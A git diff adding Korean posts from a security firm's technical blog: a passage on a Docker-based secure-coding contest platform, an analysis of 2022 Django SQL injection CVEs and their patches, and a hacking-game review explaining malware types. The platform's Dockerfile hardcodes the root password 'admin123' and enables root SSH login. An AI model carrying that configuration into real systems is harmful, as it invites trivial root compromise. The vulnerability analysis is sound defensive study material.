  5. openssh-server 패키지가 설치된 컨테이너 이미지를 기반으로 컨테이너를 생성하고, 사용자가 입력한 포트번호로 컨테이너의 22번 포트를 연결한다.
  6. +
  7. 생성한 컨테이너에 foreground에서 종료되지 않고 무기한으로 실행할 수 있는 명령어를 실행해서 컨테이너를 유지한다. (e.g. tail -f /dev/null , ` +sleep infinity)
  8. +
  9. 생성한 컨테이너를 사용자에게 전달한다.
  10. +
+ +

위 과정에서 사용된 컨테이너 이미지를 빌드하기 위한 Dockerfile 은 아래와 같습니다.

+ +
FROM ubuntu:latest
+
+RUN apt-get update -y
+RUN apt-get install -y openssh-server vim
+
+# change root password
+RUN echo 'root:admin123' | chpasswd
+
+# change ssh configure
+RUN echo PermitRootLogin yes >> /etc/ssh/sshd_config && service ssh restart
+
+RUN service ssh restart
+
+ +

(tl;dr) 위와 같은 식으로 VPC 서비스를 구현하고 제가 다니는 학교에 프로젝트 과제로 제출해서 좋은 성적을 받은 경험이 있습니다. ^^ v 소스코드는 현재 비공개로 되어있으며 현재는 사내 git 내부 프로젝트로 옮겨두었습니다.

+ +

CCE 2021

+ +

저는 국가정보원에서 주최한 2021 사이버공격방어대회(CCE)에 한국수력원자력 연합팀으로 공공부문에 참가한 경험이 있습니다. CCE는 우리나라에서 규모가 큰 대회이고 본선에서 공방전 형식 등 다양한 포맷을 시도하는 것으로 유명한 대회입니다. 저는 Jeopardy 방식이 아닌 새로운 형식의 대회를 처음 참가했던 터라 새로운 형식의 대회에 크게 감명 받았습니다.

+ +
+ +
+

2021 사이버공격방어대회 수상 당시 🔥

+
+
+ +

본선 대회 형식은 라운드 별로 나뉘었던 것으로 기억합니다. 팀 내에서 제가 주도적으로 참여했던 첫번째 라운드는 출제진 쪽에서 제공한 가상 인스턴스에 ssh로 접속해서 취약한 소스코드를 수정하고 SLA 체크 후 점수가 변동되는 형식이었습니다. SLA 체크는 자동 스크립트를 통해 가상 인스턴스의 가용성, 취약성을 검사입니다. 30초마다 문제 출제진 쪽에서 만든 SLA 체크 스크립트를 돌려서 취약점이 아직 존재하거나 서비스의 가용성이 훼손된 경우 팀 점수에서 차감되는 형식입니다.

+ +

CCE가 끝나고 나서 든 생각은, 제가 만든 VPC 서비스를 좀 더 발전시켜서 CCE 본선에서 봤던 시스템을 구현할 수 있겠다는 것이었습니다.

+ +

Secure Coding Training Platform

+ +

2022년 내에 교내 보안대회에서 사용하겠다는 목표로 시큐어 코딩 교육 플랫폼을 만들었습니다. 원래는 ssh 정보만 주고 vi 명령으로 소스코드를 수정하는 형식으로 운영하고자 했으나, 터미널에 익숙하지 않은 분들이 많다는 점을 알게 되어 WEB IDE를 제공하는 형식으로 개발했습니다. WEB IDE는 monaco-editor 라이브러리를 사용하여 React를 기반으로 만들어졌고, 이미지화하여 활용성을 높게 하였습니다.

+ +

* WEB IDE : https://github.com/ch4n3-yoon/online-monaco-editor

+ +

WEB IDE를 생성하는 과정은 다음과 같습니다.

+
    +
  1. 문제 출제자가 지정한 이미지 이름을 가져와 컨테이너를 생성한다.
  2. +
  3. 생성한 컨테이너에서 문제 출제자가 지정한 디렉터리에서 소스코드를 복사한다.
  4. +
  5. 사용자에게 제공될 WEB-IDE를 생성한다.
  6. +
  7. 컨테이너에서 복사한 소스코드를 WEB IDE 안에 복사한다.
  8. +
  9. 사용자에게 WEB IDE 접속 정보를 출력한다.
  10. +
+ +

SLA 체크 과정은 다음과 같습니다.

+
    +
  1. 사용자가 해당 문제를 이미 풀었는지 등을 확인한다.
  2. +
  3. 사용자가 수정한 파일들을 관리 서버에 복사한다.
  4. +
  5. build 및 SLA 용 컨테이너를 생성한다.
  6. +
  7. 3에서 생성한 컨테이너에 사용자가 수정한 파일을 붙여넣는다.
  8. +
  9. 문제에 지정된 TestCase 명령어들을 수행하고 점수를 매긴다.
  10. +
+ +

(tl;dr) 이 프로젝트도 소스코드는 현재 비공개로 되어있으며 현재는 사내 git 내부 프로젝트로 옮겨두었습니다.

+ +

경희대학교 SW 보안대회

+ +

+ +

실제로 해당 플랫폼으로 경희대학교에서 SW 보안대회를 진행했습니다. RAON, ENKI 등 국내 유명한 보안 업체 소속인 제 친구들과 재직자 분들께 부탁을 해서 양질의 문제를 출제할 수 있었습니다. 실제 문제 풀이자가 그렇게 많지 않아 사용자 피드백이 적다는 점이 아쉽긴하나, 이 대회를 계기로 회사 내에서 만들고 있는 사이드 프로젝트에 큰 도움이 되었습니다.

+ +

마무리

+ +

Docker SDK를 통해 실제 소프트웨어 보안대회에 사용되는 플랫폼을 개발하기까지의 과정을 한 예시로 설명드렸습니다. 클라우드 서비스 상품과 라이브러리는 지금도 다양하게 제공되고 있어서 쉽게 기능을 개발할 수 있습니다.

+ +
+

거인의 어깨 위에 서서 더 높은 가치를 만들어낼 수 있습니다.

+
+ + +
+
+
+ +
+
+
윤석찬
+
scyoon@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2022-12-16/analyzing-django-orm-with-1-day.html b/docs/2022-12-16/analyzing-django-orm-with-1-day.html new file mode 100644 index 0000000..23ee7b5 --- /dev/null +++ b/docs/2022-12-16/analyzing-django-orm-with-1-day.html @@ -0,0 +1,446 @@ + + + + + + + + + + +Analyzing Django ORM with 1-day vulnerabilities and sql bug + +Analyzing Django ORM with 1-day vulnerabilities and sql bug | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Analyzing Django ORM with 1-day vulnerabilities and sql bug
+
+
+ + Seokchan Yoon +
+
Dec 16, 2022
+
+
+
+
+
+


+
목차
+
+ 0. Introduction +
+
+ 1. How does Django execute SQL query? +
+
+ 2. CVE-2022-28346 +
+
+ 3. CVE-2022-28347 +
+
+ 4. CVE-2022-34265 +
+
+ 5. Django Single Quote Unescaped Bug +
+
+ 6. 끝으로 +
+ +


+ +

0. Introduction

+ +

안녕하세요. 스틸리언 R&D팀 윤석찬 연구원입니다. 이번 차례에도 제가 기술블로그에 글을 쓰게 되었습니다. 벌써 12월이 되었는데 다들 올해 원하시던 목표 이루셨는지요? 제가 올해 세웠던 목표 중 하나는 Python의 DjangoFlask, NodeJS의 express.js 처럼 대중적으로 사용되는 웹 프레임워크에서 유의미한 보안 취약점을 찾아서 제보하는 것이었습니다. 결과적으로 말씀드리자면 목표를 달성하진 못했지만, 그래도 Django라는 국제적으로 유명한 대형 오픈소스 프로젝트를 분석하면서 배웠던 점이 많았던 것 같습니다.

+ +

이 글에서는 2022년에 제보된 Django 1-day 취약점들과 제가 발견한 SQL Single Quote Unescaped Bug를 소개하고자 합니다. 글이 다소 길고 첨부된 소스코드가 많아서 PC에서 보시는 것을 추천드립니다.

+ +

_

+ +

올해는 Django 버전이 4.0으로 업그레이드된 첫 해로, 저 같이 Django를 즐겨서 사용하는 사용자로서는 의미있는 한해였다고 생각합니다. 4.0으로 업데이트되면서 뷰에서 async 기능을 사용할 수 있게 되었고, JSONField, ArrayField, BigAutoField 같은 새로운 데이터베이스 Field Type이 등장하기도 했습니다. 실제로 어떤 기능이 업데이트되었는지는 아래 링크에서 자세히 확인해볼 수 있습니다.

+ +
+

https://docs.djangoproject.com/en/4.1/releases/4.0/ +
+

+
+ +

올해도 Django에 여러 취약점이 제보되었습니다. 2021년 12월 6일 배포된 Django 4.0을 기준으로, 2022년에 Severity Level*이 Critical 로 분류된 취약점은 총 3건이었고 모두 SQL Injection 취약점이었습니다.

+ +

* Severity Level은 보안 취약점은 파급력에 따라 Low, Medium, High, Critical 4가지 등급으로 분류됩니다. 이 중 Critical 등급은 가장 파급력이 높은 보안 취약점으로 평가됩니다.

+ +

Django는 2005년에 처음 시작되어 올해로 18년 째 유지되고 있는 대형 프로젝트입니다. 이 프로젝트에서 절대 발견되지 않을 것 같았던 SQL Injection 취약점이, 그것도 3개나 연달아서 발견되는 것은 이례적인 일이라고 생각해서 관심을 갖게 되었습니다. Django에 제보된 취약점은 아래 링크에서 확인해보실 수 있습니다.

+ +
+

https://security.snyk.io/package/pip/django

+
+ + + +


+ +

1. How does Django execute SQL query?

+ +

Django에서는 ORM으로 SQL을 어떻게 실행하는지 알아둘 필요가 있습니다. 아래 링크에 Django ORM이 실제로 어떻게 쿼리를 만들고 실행하는지 정리해두었습니다.

+ +
+

How does Django execute SQL Query?

+
+ +


+ +

2. CVE-2022-28346

+

CVE-2022-28346: Potential SQL injection in QuerySet.annotate(), aggregate(), and extra()

+ + + +

취약점이 발생하는 메소드는 django.db.models.query에 지정된 QuerySet 클래스 내의 annotate(), aggregate(), extra() 메소드로, 이 세 메소드는 공통적으로 alias 기능이 내포되어 있다는 특징이 있습니다. 예를 들어 annotate() 메소드는 아래와 같이 사용합니다. 아래 예시를 보면 Count() 결과 값을 num_books 라는 이름으로 alias 처리하는 것을 볼 수 있습니다.

+ +

Pasted image 20221216162758.png

+ +

결과적으로 말하자면 이 취약점은 annotate() 메소드에 kwargs 방식으로 전달하여, kwargskey 값으로 alias를 지정할 때 이 key 값을 검증하지 않기 때문에 발생합니다. annotate() 메소드를 수행하면 내부적으로는 아래와 같은 과정을 거칩니다.

+ +

2-1. QuerySet.annotate()

+ +

annotate() 메소드를 실행하면 QuerySet 클래스 내부 _annotate() 메소드 실행합니다.

+ +

image

+ +

2-2. QuerySet._annotate()

+

image

+ +

_annotate() 메소드에서는 kwargs로 전달된 정보를 내부 변수 annotations에 저장하고, 이를 Query 클래스의 add_annnotation()에 전달합니다.

+ +

2-3. Query.add_annotation()

+ +

image

+ +

Query 클래스에서는 이전 QuerySet._annotate() 에서 전달된 annotations를 내부 self.annotations에 설정하여 Alias 기능을 구현합니다. 그리고 다른 클래스에서 설정된 self.annotations를 가져올 때 @property로 설정된 annotation_slect() 함수를 실행해서 self.annotations를 반환합니다.

+ +

2-4. django.db.models.sql.compiler

+

image

+ +

SQLCompiler 클래스의 as_sql() 메소드는 실제 실행될 SQL 쿼리를 만듭니다. self.select에 저장된 값을 SQL AS 구문으로 쿼리를 생성합니다. QuerySet클래스의 annotate() 메소드를 실행할 때 전달한 kwargs의 키 값은 self.connection.ops.quote_name() 을 거쳐 SQL에 들어갑니다. 이 quote_name() 메소드는 각 DBMS 별로 정의되어 있습니다.

+ +

image

+ +

MySQL을 예로 들자면 Backtick 문자로 지정해주는 것을 볼 수 있습니다. 하지만 이 전까지 key 값에 대한 escape 처리가 없었기 때문에 여기서 SQL Injection 취약점이 발생할 수 있습니다.

+ +

2-5. 패치

+ +

해당 취약점은 Django 4.0.4에서 수정되었고 django.db.models.sql.query.Query 클래스에서 add_annotation() 메소드를 수행할 때 내부적으로 check_alias() 메소드를 호출하는 식으로 취약점이 제거되었습니다.

+ +

image

+ +


+ +

3. CVE-2022-28347

+

CVE-2022-28347: Potential SQL injection via QuerySet.explain(**options) on PostgreSQL

+ +

이 취약점은 PostgreSQL 환경에서 Django QuerySetexplain() 메소드를 수행할 때 발생 가능한 SQL Injection 취약점입니다.

+ + +

explain() +https://docs.djangoproject.com/en/4.1/ref/models/querysets/#explain

+ +

Django Project Docs에는 위 예시가 작성되어 있습니다. 위 예시처럼 explain()은 실행하고자하는 데이터베이스 쿼리의 성능을 테스트하는 메소드입니다. 이 메소드를 실행하면 SQL의 EXPLAIN 명령을 사용할 수 있고, MySQL과 PostgreSQL에서는 특별히 EXPLAIN에 옵션까지 지정이 가능합니다.

+ +

이때 explain() 메소드의 구현에서 SQL Injection이 가능했던 CVE-2022-28347 취약점을 분석해보고자 합니다.

+ +

3-1. QuerySet

+ +

image

+ +

QuerySet 클래스의 explain() 메소드는 위와 같이 정의되었습니다. 내부적으로 self.query.explain()를 수행합니다. self.querydjango/db/models/sql/query.py에 정의된 Query 클래스의 객체입니다.

+ +

3-2. Query

+ +

image

+ +

Query클래스의 explain() 메소드는 get_compiler() 메소드를 통해 compiler를 가져오고 사용하는 DB에 맞추어 django.db.models.sql.compiler.SQLCompiler를 상속한 클래스의 explain_query() 메소드를 실행시켜줍니다. 여기서 kwargs 형식으로 인자를 받는 **options, 그리고 q.explain_infoExplainInfo 객체로 설정되었음을 기억해야합니다.

+ +

3-3. SQLCompiler

+ +

image

+ +

SQLCompiler 클래스 내부의 explain_query() 메소드에서는 동일 클래스의 execute_sql()를 실행합니다. execute_sql() 메소드는 실제로 self.as_sql() 메소드를 실행해서 컴파일된 SQL Query구문을 실행하는 메소드입니다. 실제 쿼리를 생성하는 as_sql() 메소드는 각 DBMS마다 정의된 explain_query_prefix() 메소드를 실행합니다.

+ +

3-4. django/db/backends/postgresql/operations.py

+ +

image

+ +

Postgresql을 위해 정의된 explain_query_prefix() 메소드입니다. 앞서 QuerySet 클래스의 explain() 메소드를 설명할 때 **options에 kwargs 형식으로 dict 형식의 값이 들어갈 수 있음을 언급했습니다. 이 값이 그대로 explain_query_prefix() 메소드에 전달되며 prefix 에 그대로 쿼리가 저장되면서, options에 저장된 dict 값 key 부분에서 SQL Injection이 가능해집니다.

+ +

3-5. 패치

+ +

image

+ +

이 취약점은 DatabaseOperations 클래스에 explain_options 변수를 두어 key 부분에 대한 검증 로직이 추가되며 수정되었습니다. 아무래도 options의 key에 여러 값이 들어갈 수 있다보니, Django 사용자가 변수로 전달할 수 있는 여지를 인정한 것 같습니다.

+ +


+ +

4. CVE-2022-34265

+

CVE-2022-34265: Potential SQL injection via Trunc(kind) and Extract(lookup_name) arguments.

+ + +

이 취약점은 django/db/models/query.py 에 정의된 QuerySet 클래스의 dates() 메소드로부터 시작됩니다. dates() 메소드의 쓰임은 아래 docs.djangoproject.com 링크에서 확인할 수 있습니다. 이 메소드는 내부적으로 Trunc 클래스를 사용하는데, Trunc 클래스에서 취약점이 발견되었습니다.

+ + +

image

+ +

image

+ +

4-1. Trunc

+ +

위와 같이 dates() 메소드는 DateField로 지정된 fielddatetime.date 객체로 반환해주는 역할을 합니다. dates() 메소드를 실행할 때는 첫번째 field 인자 두번째 kind 인자를 넘깁니다. 이 중 두번째 kind 인자는 str 형식의 값을 받으며, django/db/models/functions/datetime.py에 정의된 Trunc 클래스에 인자로 넘겨집니다.

+ +

image

+ +

Trunc 클래스는 TruncBase 클래스를 상속받은 형태로, DateFielddatetime.date 객체로 변환시켜주는 클래스입니다. __init__() 메소드에서 expression, kind 를 받아 내부 property로 저장합니다. Django Project Docs에 올라온 예시를 보았을 때 두 파라미터 모두 str 형식으로 사용자의 입력값이 충분히 들어갈 수 있습니다. 결과적으로 expression 파라미터는 부모클래스 __init__() 메소드에 전해지며 django/db/models/expressions.py 에 정의된 F 클래스로 저장됩니다. 하지만 kind 는 아무런 검증 없이 self.kind 에 저장된다는 점을 기억해두어야 합니다.

+ +

4-2. TruncBase

+ +

실질적으로 Django ORM으로 QuerySet 클래스를 SQL 쿼리로 변환하는 기능은, 동일 파일에 정의된 TruncBase 클래스의 as_sql() 메소드로 정의되어 있기 때문에 다음은 TruncBase 클래스를 분석해보는 것으로 합니다.

+ +

image

+ +

이는 인자로 넘겨진 self.output_field 변수의 type 별로 datetime_trunc_sql(), date_trunc_sql(), time_trunc_sql() 메소드를 호출합니다. 여기서 세 메소드 모두 이전 Trunc 클래스에서 사용자로부터 아무런 검증없이 받을 수 있는 self.kind 를 인자로 취한다는 점이 중요합니다. 이 메소드들은 각 데이터베이스 문법에 따라 각각 정의되어 있으며, 예시로 SQLite3에서는 아래와 같이 구현되었습니다.

+ +

4-3. DatabaseOperations

+ +

image

+ +

두 번째에 전달되는 인자 lookup_type에는 이전 Trunc 클래스에서 사용자로부터 받은 인자 kind 가 전달이 되는데, 실제 SQL Query를 만들기까지 kind 값에 대한 아무런 검증이 없습니다. 때문에 kind 값을 통해 SQL Injection이 가능합니다.

+ +

4-4. 패치

+ +

django/db/models/functions/datetime.py에 정의된 TruncBase 클래스의 as_sql() 메소드에 아래처럼 변경되었습니다.

+ +

image

+ +

as_sql() 메소드를 호출하고 나서 extract_trunc_lookup_pattern을 인자로 넘겨진 kind 값과 정규식 기능을 통해 비교합니다. 정규식으로 검사하는 값은 _lazy_re_compile(r"[\w\-_()]+") 으로, dates() 메소드의 인자 kind에 특수문자를 사용하지 못하도록 하여 SQL Injection 취약점을 수정했습니다.

+ +


+ +

5. Django Single Quote Unescaping Bug in KeyTransform class

+ +

위 세 개의 취약점이 크게 인상깊어서 올해 6월 경부터 Django 프레임워크에서 SQL Injection 취약점을 찾아내겠다는 목표를 갖고 취약점 분석을 시작했습니다. 그래서 결국 Oracle 데이터베이스 환경에서 특정 기능을 이용할 때 특수문자가 unescaped 되어 SQL 쿼리를 탈출할 수 있는 버그를 찾았습니다.

+ +

5-1. KeyTransform

+ +

django.db.models.fields.json에 정의된 KeyTransform 클래스는 MySQL의 JSON_EXTRACT() 함수를 Django ORM으로 구현하기 위해 만들어졌습니다. 아래는 KeyTransform 클래스의 as_mysql() 메소드가 정의된 부분입니다.

+ +

image

+ +

MySQL에서 사용되는 JSON_EXTRACT() 함수의 사용 예는 아래와 같습니다. 첫번째 인자로 JSON Document를 받고, 두 번째 인자로 Path를 받습니다. 아래 예시처럼 사용하여 JSON Document의 Path에 해당되는 값을 불러올 수 있습니다.

+ +

image

+ +

5-2. KeyTransform.as_oracle()

+ +

Django에서는 MySQL의 JSON_EXTRACT() 함수를 다른 DBMS에서도 사용할 수 있도록 하기 위해 아래와 같이 여러 함수를 중첩적으로 사용하여 구현해두었습니다. 아래는 Oracle DB 환경에서 JSON_EXTRACT() 함수를 구현해둔 것입니다.

+ +

image

+ +

5-3. KeyTransform.preprocess_lhs()

+ +

우선 첫번째로 호출하는 self.preprocess_lhs()를 분석해볼 필요가 있습니다. lhs는 Left-Hand Side의 줄임말로, Django에서는 내부적으로 쿼리를 생성할 때 사용되는 일종의 접미사라고 볼 수 있습니다. 이 메소드의 내용은 아래와 같습니다.

+ +

image

+ +

이 메소드에서는 기존 JSON에서 사용되는 특수문자를 escape 처리하기 위해 key_transforms 라는 변수를 반환합니다. 이 변수는 __init__에서 만들어진 값이며 클래스 생성 시 전달한 key_name 값이 저장되어 있습니다.

+ +

5-4. compile_json_path()

+ +

image

+ +

다시 as_oracle() 메소드로 돌아와서, key_transforms 변수를 compile_json_path()의 인자로 전달하는 것을 볼 수 있습니다.

+ +

image

+ +

compile_json_path() 함수는 인자로 받은 key_trancsforms 값이 int()를 호출할 때 Exception이 난다면 json.dumps() 를 통해 변수를 JSON 형식으로 저장해 반환해줍니다. 이때 json.dumps()는 백슬래시와 더블쿼터를 escape처리하는데, 싱글쿼터(')는 백슬래시를 통해 처리되지 않기 때문에 SQL Query에 영향을 끼칠 수 있습니다.

+ +

5-5. BOOM!

+ +

image

+ +

또 다시 as_oracle() 메소드로 돌아와서 확인해보면, 싱글쿼터가 그대로 들어갈 수 있는 json_path 가 Format String으로 JSON_QUERY(), JSON_VALUE() 함수 안에 그대로 들어가는 것을 확인할 수 있습니다.

+ +

image

+ +

따라서, 어떤 Django Application의 views.py에 위와 같은 코드가 있다면 실제 Single Quotes Unescaped Bug를 트리거 할 수 있습니다.

+ +

5-6. 한계

+ +

이 버그는 실제 SQL Injection 공격까지 트리거 할 수 없습니다. ORACLE DBMS에서는 MySQL에서와 다르게 모든 함수의 각 인자를 검증하는 과정이 있기 때문입니다. 이번 SQL Injection 취약점은 JSON_QUERY() 함수에서 SQL Injection 취약점이 두번째 문자열 인자에서 트리거되는데, 이때 Oracle DB의 유효성 검증을 우회하지 못합니다. Oracle DB는 MySQL처럼 SQL 구문을 자유자재로 다루기가 힘들기 때문입니다.

+ +


+ +

6. 끝으로..

+ +

대형 오픈소스 프레임워크를 분석해보면 배울 수 있는 점이 많습니다. 이번에 분석해본 Django의 경우에는 훌륭한 객체지향 디자인을 기반으로, Python의 가치를 최대화하여 작성된 프레임워크였던 것 같습니다. Django가 어떻게 구현되었는지 확인해보면서 부족했던 저의 프로그래밍, 소프트웨어 구조화 등 암묵지 실력을 키울 수 있었다고 생각합니다.

+ +

하지만 프레임워크라는 것이 프로그래머마다 구현하기 나름이라, 사용하고 있는 Django의 버전에 1-day 취약점이 존재해도 어떻게 구현하느냐에 따라 취약점이 발생하지 않을 수 있습니다. 이것을 보통 generic하지 않다고 표현하기도 하는데, 프레임워크 분석할 때 이 부분이 조금 아쉬운 부분이긴 합니다.

+ +

이 글은 Obsidian으로 제텔카스텐 기법을 써서 작성되었습니다. 제텔카스텐을 알려주시고 개인적으로 제게 큰 힘과 용기를 북돋아주신 호정님께 이 글을 빌려 감사인사를 드리고 싶습니다.

+ +
+
+
+ +
+
+
Seokchan Yoon
+
scyoon@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html b/docs/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html new file mode 100644 index 0000000..d398991 --- /dev/null +++ b/docs/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html @@ -0,0 +1,515 @@ + + + + + + + + + + +NITE Team 4: OPERATION CASTLE IVY Chapter 1 리뷰 + +NITE Team 4: OPERATION CASTLE IVY Chapter 1 리뷰 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
NITE Team 4: OPERATION CASTLE IVY Chapter 1 리뷰
+
+
+ + 김도현 +
+
Mar 19, 2023
+
+
+
+
+
+

NITE Team 4

+ +

+
+ NITE Team 4 +

+ +

“NITE Team 4”는 플레이어가 군의 해킹 부서에서 오퍼레이터로 근무하며 지시에 따라 해킹 작전을 수행하는 것을 간접적으로 체험해 볼 수 있는 시뮬레이션 게임입니다.

+ +

플레이어는 스토리/캠페인의 목적에 따라 적합한 해킹 도구를 사용하여 첩보를 수집하고 분석하는 것으로 마치 퍼즐을 푸는 것 처럼 게임을 진행할 수 있습니다.

+ +
+ +

STINGER OS

+ +

+
+ STINGER OS +

+ +

“NITE Team 4”에서는 STINGER OS라고 부르는 다양한 해킹 도구가 포함된 운영체제를 이용하여 작전을 수행하게 됩니다.

+ +

앞으로 STINGER OS를 이용하여 작전의 목적에 따라 대상을 해킹하고, 첩보를 처리, 분석하게 될 것입니다.

+ +

🔎 운영체제 (OS, Operating System)

+ +

우리가 많이 사용하는 웹 브라우져, 파일 탐색기, 문서 편집기 등을 “응용 프로그램”이라고 부릅니다.

+ +

“응용 프로그램”을 잘 실행시키고, 편리하게 사용기기 위해서는 “운영체제”가 필요합니다.

+ +

여러분이 웹 브라우져로 여러개의 탭을 이용하여 웹 서핑을 할 수 있는 이유도, 파일을 복사하여 문서에 붙여넣을 수 있는 이유도, 결국 이 “운영체제”가 그런 기능을 구현하고, 응용할 수 있도록 만들어 주기 때문입니다.

+ +

우리가 실제로 많이 쓰는 운영체제로는 Microsoft Windows, Apple macOS가 있죠.

+ +

모바일 디바이스에서는 Google Android, Apple iOS가 있을 수 있겠네요.

+ +

🔎 해킹을 위한 OS

+ +

“NITE Team 4”의 STINGER OS처럼, 현실에도 해킹을 위한 OS가 존재합니다.

+ +

+
+ Kali Linux +

+ +

Kali Linux는 Offensive Security사에서 개발한 해킹을 위한 OS입니다.

+ +

Linux라는 OS를 기반하고 있으며, 앞으로 “NITE Team 4”에서 사용할 많은 도구들 중 일부들가 kali Linux에 포함된 도구를 벤치마킹하고 있습니다.

+ +

하지만 Kali Linux는 STINGER OS와 다르게 해킹의 전반적인 작업들을 자동화 해 주지는 못합니다. Kali Linux에는 해킹을 위한 다양한 오픈소스 도구들이 집합되어 있을 뿐, 실제로 해킹을 수행하기 위해서는 각 도구의 원리와 사용 방법에 대한 이해가 필요합니다.

+ +

현실에서는 이 Kali Linux를 기업 또는 단체에서 모의해킹, 침투 테스팅, 레드팀을 이용한 정보 보안 강화에 많이 사용하고 있습니다.

+ +

비슷한 OS로는 Black Arch Linux, Parrot OS가 있습니다.

+ +
+ +

OPERATION CASTLE IVY

+ +

STINGER OS에 대한 교육이 끝난 후, operator는 실제 작전에 투입됩니다.

+ +

INTRO

+ +

+
+ Operation CASTLE IVY Intro +

+ +
+

상부는 “NITE Team 4”의 군용 멀웨어가 도난 당했음을 확인했습니다.
+SAD는 Bureau 121의 소행으로 추정하고 있지만, 뒷덜미를 잡을만한 증거가 부족합니다.
+2017년 NSA의 익스플로잇 유출로 10B$ 추정의 손해가 있었던 만큼, 빠르게 이를 조사해야합니다. +우리는 현장에 남겨진 증거들을 활용하여 얼마만큼의 유출이 발생했는지 확인해야 합니다.

+
+ +

🔎 Malware - 멀웨어, 악성코드

+ +

Malware는 Malicious Software, 즉 악성 소프트웨어 또는 악성 코드의 줄임말입니다.

+ +

Malware는 그 특성에 따라 분류되고 있으며, 대표적인 몇가지를 소개 드리겠습니다.

+ +

🔎 Backdoor

+ +

시스템에서 Backdoor가 실행될 경우, 악성 행위자는 Backdoor가 설치된 시스템에 마치 뒷문을 드나들 듯 인증 과정 또는 반드시 수행 해야하는 절차 없이 시스템의 핵심 명령 장치 등에 접근할 수 있게 됩니다.

+ +

Backdoor를 통해 악성 행위자는 웹캠을 통한 실시간 감시, 실시간 화면 녹화 또는 다른 악성 코드를 설치할 수 있게 되며, 내부망의 다른 대상으로 공격을 뻗쳐 나갈 수도 있게 됩니다.

+ +

악성 행위자는 Backdoor를 통해 과거에 장악했던 시스템에 대해서 다시 공격하여 장악할 수고를 덜 수 있을 뿐더러, 추가적인 공격으로 이어 나갈 수 있는 가능성 덕분에 많이 사용되고 있습니다.

+ +

소프트웨어나 제품에 기본적으로 탑재되는 형식의 Backdoor 공격 사례 또한 다수 존재합니다.

+ +

유명한 Backdoor로는 “The Bvp47 - Equation Group”, “IPVM - Hikvision Backdoor Exploit”, “ES File Explorer Backdoor”가 있습니다.

+ +

🔎 InfoStealer

+ +

시스템에서 InfoStealer가 실행될 경우 시스템에 저장되어 있는 문서, 비트코인 지갑, 패스워드 등 민감 정보를 추출하여 악성 행위자에게 전송합니다.

+ +

🔎 Ransomware

+ +

Ransomware는 몸값이라는 뜻의 ransom과 software의 합성어로, Ransomware가 설치된 시스템의 파일들을 악성 행위자만이 알고 있는 패스워드로 암호화하고 인질로 만들어 피해자에게 금전을 요구하도록 유도하는 악성코드입니다.

+ +

Ransomware는 InfoStealer의 기능을 포함하기도 합니다.

+ +

최근에는 기업 대상 공격으로 - 핵심 기술 또는 데이터를 유출하겠다고 협박하며 추가적인 금전을 요구하는 형태로도 발전하고 있습니다.

+ +

또한, 랜섬웨어를 큰 노력 안들이며 만들어주고, 피해자를 관리하는 서비스를 제공하는 등 Ransomware as a Service(RaaS)의 형태로 랜섬웨어 조직은 확장되고 있습니다. 랜섬웨어를 이용하고자 하는 공격자는 랜섬웨어를 직접 제작할 필요 없이 일부 수익만 공유하면 손쉽게 공격에 랜섬웨어를 이용할 수 있습니다.

+ +

🔎 Malware 참고 자료 (References)

+ + + +

🔎 CIA SAD

+ +

+
+ CIA SAD/PAG +

+ +

“NITE Team 4”에서 언급한 SAD가 CIA의 SAD인지는 확실하지 않습니다.

+ +

하지만 미국의 중앙 정보국(Central Intelligence Agency, CIA)에는 특수 활동 부서(Special Activities Division, SAD)가 있으며, SAD의 정치적 작전 그룹(Political Action Group, PAG)의 주요 작전 범위에 사이버 전쟁이 포함되어 있습니다.

+ +

현재는 특수 활동 본부(Special Activities Center, SAC)라고 불리고 있습니다.

+ +

🔎 CIA SAD 참고 자료 (References)

+ + + +

🔎 Bureau 121 - 정찰총국 121국

+ +

+
+ Sony Pictures 해킹 사건 당시 Sony Pictures의 웹사이트 +

+ +

Bureau 121은 북한의 정찰총국 121국으로 불리며, 북한의 사이버 전쟁을 위한 집단입니다. +2014년 소니 픽쳐스 해킹의 배후로 잘 알려져 있습니다.

+ +

6,000명 이상의 인원으로 구성되어 있으며, 각 Andariel, Bluenoroff, Lazarus라고 불리는 악성 행위자 그룹이 121국에 속해 있는것으로 파악하고 있습니다. (2021)

+ +

121국의 악성 행위자들은 중국, 인도, 러시아, 벨라루스, 말레이시아와 같은 여러 국가들을 거점으로 활동하고 있는 것으로 알려져 있습니다.

+ +

🔎 Bureau 121 참고 자료 (References)

+ + + +

🔎 The Shadow Brokers Leak

+ +

2016년, “The Shadow Brokers” 해커 그룹이 “Equation Group” 해커 그룹을 해킹하여, 그들의 해킹 도구를 탈취하고, 경매에 부치고, 유출시킨 사건이 발생했습니다.

+ +

“Equation Group”은 이란의 우라늄 농축 시설 파괴를 목표로한 “Stuxnet” 악성코드를 개발하는 등 당시 최고의 기술력을 가지고 있는 해커 집단으로 잘 알려져 있었습니다.

+ +

또한, “Equation Group”은 미국 국가안보국(National Security Agency, NSA)의 TAO(Tailored Access Operations)가 “Equation Group”의 배후라고 생각되기도 합니다.

+ +

이 유출 사건으로 인해 “Equation Group”의 핵심 해킹 기술과 도구들이 대거 유출되고 악영되며 사회에 큰 파장을 일으켰습니다.

+ +

🔎 The Shadow Brokers Leak 참고 자료 (References)

+ + + +

Chapter 1, 브리핑

+ +

+
+ Chapter 1 브리핑 +

+ +

배경

+ +
    +
